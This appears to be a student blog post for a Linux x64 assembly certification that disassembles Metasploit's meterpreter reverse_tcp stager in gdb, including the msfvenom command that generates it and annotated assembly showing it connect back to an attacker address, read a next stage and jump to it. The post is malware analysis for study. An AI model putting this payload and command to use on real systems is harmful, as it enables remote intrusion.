This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
https://www.pentesteracademy.com/course?id=7
Student ID: PA-30398
For the fifth assignment, I decided to analyze the following shellcode samples:
Name | Description |
---|---|
linux/x64/meterpreter/reverse_tcp | Inject the mettle server payload (staged). Connect back to the attacker |
linux/x64/pingback_reverse_tcp | Connect back to attacker and report UUID (Linux x64) |
linux/x64/shell_bind_ipv6_tcp | Listen for an IPv6 connection and spawn a command shell |
This post focuses on the first one, linux/x64/meterpreter/reverse_tcp
.
Let's start from the very beginning i.e., generating the shellcode, which you can do by using the the ruby
script msfvenom
available by default on Kali Linux distributions.
Below is the command I ran to generate the shellcode:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.170 LPORT=443 -f elf -o shellcode
# [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
# [-] No arch selected, selecting arch: x64 from the payload
# No encoder specified, outputting raw payload
# Payload size: 130 bytes
# Final size of elf file: 250 bytes
# Saved as: shellcode
As you may have noticed, I decided to use the format elf
instead of raw
.
This is due to the fact that by default shellcode can't be executed on the system, but it needs a specific file structure that the system can understand.
In this case, since the system is based on a Linux kernel, we can use the ELF format.
The resulting binary is a 64-bit one, hence it will run on x86-64 systems only:
file ./shellcode
# ./shellcode: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Next, we can start the real analysis with gdb
:
gdb -q ./shellcode
# Reading symbols from ./shellcode...
# (No debugging symbols found in ./shellcode)
(gdb) starti
# Starting program: /home/kali/slae64/exam/assignment/5/part/1/shellcode
# Program stopped.
# 0x0000000000400078 in ?? ()
(gdb) disassemble $rip,+23
# Dump of assembler code from 0x400078 to 0x40008f:
# => 0x0000000000400078: xor rdi,rdi
# 0x000000000040007b: push 0x9
# 0x000000000040007d: pop rax
# 0x000000000040007e: cdq
# 0x000000000040007f: mov dh,0x10
# 0x0000000000400081: mov rsi,rdx
# 0x0000000000400084: xor r9,r9
# 0x0000000000400087: push 0x22
# 0x0000000000400089: pop r10
# 0x000000000040008b: mov dl,0x7
# 0x000000000040008d: syscall
Judging by the output of the last command, the first instructions seem to be related to the syscall 9 (sys_mmap
):
; clear the register RDI
xor rdi,rdi
; store 0x9 in the register RAX
push 0x9
pop rax
; sing-extend EAX to EDX
; basically, if EAX is positive, it clears EDX (and the whole RDX register)
cdq
; move the value 0x1000 into DX
; and copy it into RSI
mov dh,0x10
mov rsi,rdx
; clear the register R9
xor r9,r9
; store the value 0x22 into the register R10
push 0x22
pop r10
; store the value 0x1007 into DX
mov dl,0x7
syscall
These instructions invoke the syscall sys_mmap in order to map/unmap files or devices into memory. You can find more information in the Linux manual. The prototype of the function mmap
looks like this:
void *mmap(
void *addr,
size_t length,
int prot,
int flags,
int fd,
off_t offset
);
mmap
The previous instructions can be converted to following C code:
mmap(
NULL, // let the kernel choose where to allocate the memory space
0x1000, // allocate a page of 1000 bytes
0x1007, // PROT_EXEC | PROT_READ | PROT_WRITE
0x22, // MAP_ANONYMOUS | MAP_PRIVATE
?, // ignored, since we're using MAP_ANONYMOUS
0 // MAP_ANONYMOUS requires this parameter to be 0
);
Overall, the call to mmap
simply creates an anonymous mapping of 1000 bytes and sets the permissions as READ
, WRITE
, and EXECUTE
.
It's probably going to be used later for storing the shellcode of the second stage.
After that, we have the following instructions:
(gdb) disassemble $rip,+3
# Dump of assembler code from 0x40008f to 0x4000a4:
# => 0x000000000040008f: test rax,rax
# 0x0000000000400092: js 0x4000e5
This one looks like a conditional statement.
First, the value returned by mmap (stored inside the register RAX) is tested in order to determine whether the this value is:
If the call to mmap failed, then the shellcode jumps to the address 0x4000e5
, which contains the following instructions:
(gdb) x/5i 0x4000e5
# 0x4000e5: push 0x3c
# 0x4000e7: pop rax
# 0x4000e8: push 0x1
# 0x4000ea: pop rdi
# 0x4000eb: syscall
The syscall identified by the hex number 0x3c is sys_exit
.
In this case the first argument passed to the syscall is the number 0x1, stored inside the register RDI
.
In conclusion, if the call to sys_mmap
fails, then the shellcode calls sys_exit
, terminating its execution and returning the exit code 1.
Back to the successful case, after the previous jump signed instruction (js 0x4000e5
), we have this:
(gdb) disassemble $rip,+21
# Dump of assembler code from 0x400094 to 0x4000a9:
# => 0x0000000000400094: push 0xa
# 0x0000000000400096: pop r9
# 0x0000000000400098: push rax
# 0x0000000000400099: push 0x29
# 0x000000000040009b: pop rax
# 0x000000000040009c: cdq
# 0x000000000040009d: push 0x2
# 0x000000000040009f: pop rdi
# 0x00000000004000a0: push 0x1
# 0x00000000004000a2: pop rsi
# 0x00000000004000a3: syscall
# 0x00000000004000a5: test rax,rax
# 0x00000000004000a8: js 0x4000e5
As usual, let's analyze them one by one:
; store the value 0xa inside the register R9
push 0xa
pop r9
; push the value of RAX (pointer to mapping) on the stack
push rax
; store the value 0x29 inside RAX (syscall sys_socket)
push 0x29
pop rax
; clear RDX
cdq
; store the value 0x2 in the register RDI
push 0x2
pop rdi
; store the value 0x1 in the register RSI
push 0x1
pop rsi
; invoke sys_socket
syscall
; if sys_socket fails (returning -1) then jump to 0x4000e5 (sys_exit)
test rax,rax
js 0x4000e5
These instructions can be converted the following C code:
RAX = socket(
2, // AF_INET
1, // SOCK_STREAM
0, // IP protocol
);
if (RAX < 0)
{
exit(1);
}
Once the shellcode has created the socket, the next operations should be connecting to the remote server:
(gdb) disassemble $rip,+24
# Dump of assembler code from 0x4000aa to 0x4000c2:
# => 0x00000000004000aa: xchg rdi,rax
# 0x00000000004000ac: movabs rcx,0xaa01a8c0bb010002
# 0x00000000004000b6: push rcx
# 0x00000000004000b7: mov rsi,rsp
# 0x00000000004000ba: push 0x10
# 0x00000000004000bc: pop rdx
# 0x00000000004000bd: push 0x2a
# 0x00000000004000bf: pop rax
# 0x00000000004000c0: syscall
Let's analyze these instructions:
; copy the value of RAX (fd returned by sys_socket) into RDI
xchg rdi,rax
; sockaddr struct containing IP address and
; TCP port for the connection (192.168.1.170:4444)
; 0xaa -> 170
; 0x01 -> 1
; 0xa8 -> 168
; 0xc0 -> 192
; 0x01bb -> 443
; 0x0002 -> AF_INET
movabs rcx,0xaa01a8c0bb010002
; store the pointer to the sockaddr struct into RSP (stack pointer)
push rcx
mov rsi,rsp
; set RDX to the value 0x10
push 0x10
pop rdx
; set RAX to the calue 0x2a (syscall sys_connect)
push 0x2a
pop rax
; invoke sys_connect
syscall
They can be converted to the following C code:
struct sockaddr_in RSI;
myaddr.sin_family = AF_INET;
myaddr.sin_port = htons(443);
inet_aton("192.168.1.170", &myaddr.sin_addr.s_addr);
connect(RDI, (struct sockaddr*)RSI, 16);
All it does is create a sockaddr structure that stores the IP address and the TCP port, along with address family (AF_INET
, i.e. IPv4), and then pass this structure to the function connect
.
The latter connects the file descriptor obtained from the socket
syscall to the remote socket 192.168.1.170:443
.
After the call to sys_connect
, the following instructions are run:
(gdb) disassemble $rip,+27
# Dump of assembler code from 0x4000c2 to 0x4000da:
# => 0x00000000004000c2: pop rcx
# 0x00000000004000c3: test rax,rax
# 0x00000000004000c6: jns 0x4000ed
# 0x00000000004000c8: dec r9
# 0x00000000004000cb: je 0x4000e5
# 0x00000000004000cd: push rdi
# 0x00000000004000ce: push 0x23
# 0x00000000004000d0: pop rax
# 0x00000000004000d1: push 0x0
# 0x00000000004000d3: push 0x5
# 0x00000000004000d5: mov rdi,rsp
# 0x00000000004000d8: xor rsi,rsi
# 0x00000000004000db: syscall
As usual, let's analyze them:
; get the bytes of the sockaddr struct and copy them into RCX
pop rcx
; test the return value of sys_connect
; jump to 0x4000ed if the value isn't negative (failure)
test rax,rax
jns 0x4000ed
; decrement the value of R9
; if it's equal to 0, then jump to sys_exit(1)
dec r9
je 0x4000e5
; save the file descriptor of the socket created previously on the stack
push rdi
; set RAX to 0x23 (sys_nanosleep)
push 0x23
pop rax
; create a timespec structure (5 seconds and 0 nanoseconds)
push 0x0
push 0x5
; get the address of the timespec structure and store it into RDI
mov rdi,rsp
; clear RSI
xor rsi,rsi
; invoke sys_nanosleep
syscall
These instructions can be converted to the following C code:
if (RAX > 0)
{
// 0x4000ed
}
if (R9 == 0)
{
exit(1);
}
struct timespec t;
t.tv_sec = 5;
t.tv_nsec = 0;
nanosleep(&t, NULL);
The shellcode sleeps for 5 seconds if it doesn't succeed to connect to the remote socket.
After the call to sys_nanosleep
, follows these instructions:
(gdb) disassemble $rip,+14
# Dump of assembler code from 0x4000dd to 0x4000f5:
# => 0x00000000004000dd: pop rcx
# 0x00000000004000de: pop rcx
# 0x00000000004000df: pop rdi
# 0x00000000004000e0: test rax,rax
# 0x00000000004000e3: jns 0x4000ac
# 0x00000000004000e5: push 0x3c
# 0x00000000004000e7: pop rax
# 0x00000000004000e8: push 0x1
# 0x00000000004000ea: pop rdi
# 0x00000000004000eb: syscall
As you may notice, the shellcode uses the POP
instruction 3 times:
0x0
and store it into the register RCX
RDI
After that, the shellcode checks whether the return value of sys_nanosleep
is positive, if so jumping back to 0x4000ac
in order to execute sys_connect
once again.
If the syscall sys_nanosleep
returns a signed value (negative one), then the shellcode continues to the address 0x4000e5
to invoke the syscall sys_exit
.
These operations are performed 9 times, for a total of 45 seconds in case it can't connect to the meterpreter
handler.
You can test this by using the shell command time
:
time ./shellcode
# real 45.13s
# user 0.00s
# sys 0.00s
# cpu 0%
Anyway, let's go back to the address 0x4000c6
.
If the call to connect
is successful, then the shellcode jumps to the address 0x4000ed
, which points to these instructions:
0x00000000004000ed in ?? ()
# (gdb) disassemble $rip,+24
# Dump of assembler code from 0x4000ed to 0x400105:
# => 0x00000000004000ed: pop rsi
# 0x00000000004000ee: push 0x7e
# 0x00000000004000f0: pop rdx
# 0x00000000004000f1: syscall
# 0x00000000004000f3: test rax,rax
# 0x00000000004000f6: js 0x4000e5
# 0x00000000004000f8: jmp rsi
# 0x00000000004000fa: add BYTE PTR [rax],al
# 0x00000000004000fc: add BYTE PTR [rax],al
# 0x00000000004000fe: add BYTE PTR [rax],al
# 0x0000000000400100: add BYTE PTR [rax],al
# 0x0000000000400102: add BYTE PTR [rax],al
# 0x0000000000400104: add BYTE PTR [rax],al
Follows a short analysis:
; get the address of the mapping from the stack
pop rsi
; store the value 126 into RDX
push 0x7e
pop rdx
; invoke sys_read (syscall no. 0x0)
syscall
; check if call to sys_read was successful, otherwise jump to sys_exit(1)
test rax,rax
js 0x4000e5
; jump the shellcode received through sys_read
jmp rsi
We now know that the shellcode expects 126 bytes of data from the meterpreter handler after the initial connection.
The instructions run after the syscall recvfrom
are the following:
(gdb) x/100i $pc
# => 0x7ffff7ff8000: push rdi
# 0x7ffff7ff8001: xor rdi,rdi
# 0x7ffff7ff8004: mov rsi,0x2df7c4
# 0x7ffff7ff800b: mov rdx,0x7
# 0x7ffff7ff8012: mov r10,0x22
# 0x7ffff7ff8019: xor r8,r8
# 0x7ffff7ff801c: xor r9,r9
# 0x7ffff7ff801f: mov rax,0x9
# 0x7ffff7ff8026: syscall
# 0x7ffff7ff8028: mov rdx,rsi
# 0x7ffff7ff802b: mov rsi,rax
# 0x7ffff7ff802e: pop rdi
# 0x7ffff7ff802f: mov r10,0x100
# 0x7ffff7ff8036: xor r8,r8
# 0x7ffff7ff8039: xor r9,r9
# 0x7ffff7ff803c: mov rax,0x2d
# 0x7ffff7ff8043: syscall
# 0x7ffff7ff8045: and rsp,0xfffffffffffffff0
# 0x7ffff7ff8049: add sp,0x50
# 0x7ffff7ff804d: mov rax,0x6d
# 0x7ffff7ff8054: push rax
# 0x7ffff7ff8055: mov rcx,rsp
# 0x7ffff7ff8058: xor rbx,rbx
# 0x7ffff7ff805b: push rbx
# 0x7ffff7ff805c: push rbx
# 0x7ffff7ff805d: push rsi
# 0x7ffff7ff805e: mov rax,0x7
# 0x7ffff7ff8065: push rax
# 0x7ffff7ff8066: push rbx
# 0x7ffff7ff8067: push rbx
# 0x7ffff7ff8068: push rdi
# 0x7ffff7ff8069: push rcx
# 0x7ffff7ff806a: mov rax,0x2
# 0x7ffff7ff8071: push rax
# 0x7ffff7ff8072: mov rax,0x8d55
# 0x7ffff7ff8079: add rsi,rax
# 0x7ffff7ff807c: jmp rsi
Below is the analysis of the first block.
; store the file descriptor of the socket on the stack
push rdi
; clear RDI
xor rdi,rdi
; set some registers:
; - RSI = 3012548
; - RDX = 7
; - R10 = 34
mov rsi,0x2df7c4
mov rdx,0x7
mov r10,0x22
; clear R8 and R9
xor r8,r8
xor r9,r9
; set RAX to 0x9 (syscall sys_mmap)
mov rax,0x9
; invoke sys_mmap
syscall
It can be converted to the following C code:
mmap(
0, // let the kernel choose where to allocate the memory space
3012548, // allocate 3012548 bytes
7, // PROT_EXEC | PROT_READ | PROT_WRITE
34, // MAP_ANONYMOUS | MAP_PRIVATE
0, // ignored, since we're using MAP_ANONYMOUS
0 // MAP_ANONYMOUS requires this parameter to be 0
);
It seems the second stage allocates some memory
in order to make room for the third stage.
After that we have the second block of instructions:
; copy the value 3012548 into RDX
mov rdx,rsi
; set RSI to the addresss of the new mapping
mov rsi,rax
; copy the file descriptor of the socket from the stack
; and store it into RDI
pop rdi
; set R10 to 256
mov r10,0x100
; clear R8 and R9
xor r8,r8
xor r9,r9
; set RAX to 45 (syscall sys_recvfrom)
mov rax,0x2d
; invoke sys_recvfrom
syscall
As done previously, the shellcode uses the syscall recvfrom
in order to read the next stage (in this case the third one) from the meterpreter handler.
The shellcode received from the handler will be stored at the address of the new mapping.
The third block is a little longer, but let's analyze it anyway:
; align the stack and increase the stack pointer by 50 bytes
; i.e. the last 50 bytes of the stack are going to be replaced by the next instructions
and rsp,0xfffffffffffffff0
add sp,0x50
; set RAX to 0x6d
mov rax,0x6d
push rax
; store the pointer to 0x6d int RCX
mov rcx,rsp
; clear RBX
xor rbx,rbx
; push the some values on the stack
push rbx
push rbx
push rsi
mov rax,0x7
push rax
push rbx
push rbx
push rdi
push rcx
mov rax,0x2
push rax
; jump to the address of the new mapping, increased by 0x8d55
mov rax,0x8d55
add rsi,rax
jmp rsi
This last block of instructions performs some preliminary operations, such as stack alignment, before jumping to the shellcode of the third stage.